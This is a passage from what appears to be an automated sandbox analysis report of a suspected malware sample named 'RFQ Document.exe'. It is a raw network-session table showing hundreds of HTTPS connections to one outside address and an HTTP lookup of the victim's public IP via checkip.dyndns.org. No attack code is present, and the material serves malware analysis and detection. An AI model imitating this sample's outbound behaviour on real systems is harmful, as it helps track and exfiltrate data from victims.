24	192.168.2.4	49798	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.4	50061	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.4	50062	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.4	50063	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.4	50065	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.4	50066	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.4	50067	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.4	50068	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.4	50070	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.4	50072	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.4	50073	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49799	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.4	50076	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.4	50078	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.4	50080	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.4	50082	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.4	50084	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.4	50087	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.4	50089	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.4	50091	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.4	50093	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.4	50094	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49800	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.4	50097	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.4	50098	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.4	50099	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.4	50100	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.4	50101	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.4	50102	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.4	50103	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.4	50104	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.4	50105	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.4	50106	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49801	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.4	50107	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.4	50108	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.4	50109	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.4	50110	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.4	50111	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.4	50112	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.4	50113	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.4	50114	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.4	50115	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.4	50116	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49802	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.4	50117	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.4	50118	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.4	50119	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.4	50120	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.4	50121	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.4	50122	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.4	50123	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.4	50124	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.4	50125	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.4	50126	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49803	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.4	50127	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.4	50128	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.4	50129	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.4	50130	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.4	50131	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.4	50132	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.4	50133	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.4	50134	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.4	50135	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.4	50136	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49777	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49804	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.4	50137	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.4	50138	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.4	50139	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.4	50140	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.4	50141	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.4	50142	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.4	50143	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.4	50144	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.4	50145	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.4	50146	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49805	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.4	50147	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.4	50148	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.4	50149	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.4	50150	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.4	50151	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.4	50152	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.4	50153	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.4	50154	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.4	50155	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.4	50156	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49806	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.4	50157	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.4	50158	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.4	50159	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.4	50160	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.4	50161	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.4	50162	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.4	50163	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.4	50164	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.4	50165	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.4	50166	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49807	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.4	50167	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.4	50168	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.4	50169	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.4	50170	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.4	50171	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.4	50172	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.4	50173	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.4	50174	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.4	50175	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.4	50176	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49810	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.4	50177	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.4	50178	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.4	50179	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.4	50180	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.4	50181	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.4	50182	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.4	50183	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.4	50184	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.4	50185	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.4	50186	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49811	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.4	50187	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.4	50188	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.4	50189	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.4	49773	132.226.8.169	80	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 07:58:05.232361078 CEST	1329	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 28, 2021 07:58:05.499944925 CEST	1329	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 05:58:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 33 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.39</body></html>
Sep 28, 2021 07:58:05.596322060 CEST	1329	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 28, 2021 07:58:05.864909887 CEST	1329	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 05:58:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 33 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.39</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49812	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49813	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49814	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49815	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49778	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49816	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49817	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49818	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49819	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49820	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49821	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49822	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49823	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49824	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49825	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49779	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49826	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

